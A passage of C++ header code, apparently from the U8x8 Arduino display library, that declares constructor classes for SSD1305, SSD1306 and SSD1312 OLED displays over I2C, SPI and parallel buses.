U8X8_SSD1305_128X64_ADAFRUIT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1305_128X64_ADAFRUIT_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_SW_I2C : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1305_128X64_RAYSTAR_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_2040X16_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_2040X16_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_2040X16_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_2040X16_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_2040X16_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_2040X16_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_2040X16_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_2040X16_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_2040X16_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_2040X16_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_2040X16_6800 : public U8X8 { public: U8X8_SSD1306_2040X16_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_2040X16_8080 : public U8X8 { public: U8X8_SSD1306_2040X16_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_128X64_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X64_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X64_NONAME_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_128X64_NONAME_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_128X64_NONAME_6800 : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_NONAME_8080 : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_6800 : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_8080 : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_ALT0_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_128X64_ALT0_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X64_ALT0_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_128X64_ALT0_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_128X64_ALT0_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_128X64_ALT0_6800 : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_ALT0_8080 : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1306_128X64_NONAME_SW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_128X64_NONAME_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_128X64_NONAME_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_128X64_VCOMH0_SW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_128X64_VCOMH0_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_128X64_VCOMH0_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_VCOMH0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_128X64_ALT0_SW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1306_128X64_ALT0_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1306_128X64_ALT0_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1306_128X64_ALT0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1312_128X64_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1312_128X64_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1312_128X64_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1312_128X64_NONAME_3W_SW_SPI : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1312_128X64_NONAME_3W_HW_SPI : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1312_128X64_NONAME_6800 : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1312_128X64_NONAME_8080 : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1312_128X64_NONAME_SW_I2C : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1312_128X64_NONAME_HW_I2C : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1312_128X64_NONAME_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1312_128X64_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1306_72X40_ER_4W_SW_SPI : public U8X8 { public: U8X8_SSD1306_72X40_ER_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1306_72X40_ER_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_72X40_ER_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_72X40_ER_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1306_72X40_ER_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1306_72X40_ER_3W_SW_SPI : public U8X8 { public: U8X8_SSD1306_72X40_ER_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1306_72X40_ER_3W_HW_SPI : public U8X8 { public: U8X8_SSD1306_72X40_ER_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1306_72X40_ER_6800 : public U8X8 { public: U8X8_SSD1306_72X40_ER_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, 